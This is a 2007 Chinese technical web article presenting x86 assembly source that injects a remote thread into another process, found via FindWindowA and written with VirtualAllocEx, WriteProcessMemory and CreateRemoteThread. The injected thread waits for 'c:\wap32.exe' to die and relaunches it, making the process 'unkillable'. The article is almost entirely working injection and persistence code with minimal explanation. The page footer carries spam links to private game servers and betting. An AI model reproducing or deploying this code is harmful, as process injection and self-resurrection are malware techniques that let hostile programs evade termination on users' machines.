岁月联盟 · 中国技术网 本站主页 | 安全认证 | 用户服务 | 技术论坛
新闻快报 | 新手学堂 | 黑客特区 | 程序语言 | 数 据 库 | 防 火 墙 | 路由交换 | 系统集成 | 服 务 器 | 存储备份 | 考试认证
Windows | Linux | Java | 协议分析 | 问题解答 | 进程大全 | 网页设计 | 多 媒 体 | 图库资料 | 软件下载 | 站内下载
  您现在的位置: 岁月联盟 >> Windows频道 >> 系统技巧 >> 进程 >> Windows正文
Win2k下进程不死术
作者:未知 文章来源:本站整理 点击数: 更新时间:2007-3-6 14:15:49

  此段程序采用公开的 Win2k注射远程线程,来保护指定进程始终处于运行状态。
  生成wap32.exe拷贝到c:\下运行,则Wap32进程不死。
  
  include Win32.inc
  
  .386
  .model flat,stdcall
  .data
  
  Protect2kProc proc ProcID: dword
  call GetKnlOpenProcess
  KnlOpenProcess dd ?
  GetKnlOpenProcess:
  pop eax
  call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
  or eax,eax
  jz short ExitProtectProc
  mov ebx,eax
  call GetKnlWaitForSingleObject
  KnlWaitForSingleObject dd ?
  GetKnlWaitForSingleObject:
  pop eax
  call [eax],ebx,-1h
  call GetFileNameAddress
  GetFileNameAddress:
  pop ecx
  add ecx,offset FileName-offset GetFileNameAddress
  call GetKnlWinExec
  KnlWinExec dd ?
  GetKnlWinExec:
  pop eax
  call [eax],ecx,01
  ExitProtectProc:
  ret
  Protect2kProc endp
  
  FileName db 'c:\wap32.exe',0
  
  
  KnlOpenProcessStr db 'OpenProcess',0
  KnlWaitForObjectStr db 'WaitForSingleObject',0
  KnlWinExecStr db 'WinExec',0
  
  
  .code
  extrn GetProcAddress: proc
  extrn OpenProcess: proc
  extrn FindWindowA: proc
  extrn GetWindowThreadProcessId: proc
  extrn VirtualAllocEx: proc
  extrn VirtualFreeEx: proc
  extrn WriteProcessMemory: proc
  extrn GetCurrentProcessId: proc
  extrn CreateRemoteThread: proc
  extrn GetExitCodeThread: proc
  extrn CloseHandle: proc
  extrn WinExec: proc
  extrn MessageBoxA: proc
  extrn Sleep: proc
  
  
  Start:
  call GetProcAddress,077e60000h,offset KnlOpenProcessStr
  mov KnlOpenProcess,eax
  call GetProcAddress,077e60000h,offset KnlWaitForObjectStr
  mov KnlWaitForSingleObject,eax
  call GetProcAddress,077e60000h,offset KnlWinExecStr
  mov KnlWinExec,eax
  
  call FindWindowA,0,0
  push eax
  call GetWindowThreadProcessId,eax,esp
  call OpenProcess,PROCESS_ALL_ACCESS,FALSE
  or eax,eax
  jz short OpenProcessError
  mov ebx,eax
  call VirtualAllocEx,ebx,NULL,1000h,MEM_COMMIT,L 40h
  or eax,eax
  jz short OpenProcessError
  mov edi,eax
  push eax
  call WriteProcessMemory,ebx,edi,OFF Protect2kProc,1000h,esp
  call GetCurrentProcessId
  call CreateRemoteThread,ebx,NULL,NULL,edi,eax,NULL,esp
  call GetExitCodeThread,eax,esp
  pop eax
  ;call VirtualFreeEx,ebx,edi,1000h,MEM_DECOMMIT
  call CloseHandle,ebx
  call Sleep,100h
  call MessageBoxA,0,offset FileName,offset FileName,0
  OpenProcessError:
  ret
  
  end Start
  
  


  • 上一个Windows:
  • 下一个Windows:
  •  
    热门文章
    推荐文章
    关于我们 | 发展历程 | 网站地图 | 广告服务 | 招贤纳士 | 战略合作 | 友情链接 | 著作声明 | 联系我们
    Copyright © 2002-2007 SYUE All rights reserved.
    E_mail:WebSyue@163.Com 皖ICP备05004589号
    未经授权禁止转载、摘编、复制或建立镜像.如有违反,追究法律责任.
    魔域私服 魔域私服 传奇世界私服 345天龙发布网 传奇世界私服 传奇世界私服 新开传世私服 完美世界私服 征途私服 bet365 征途私服 劲舞团私服 征途私服发布网 传世私服 传奇世界私服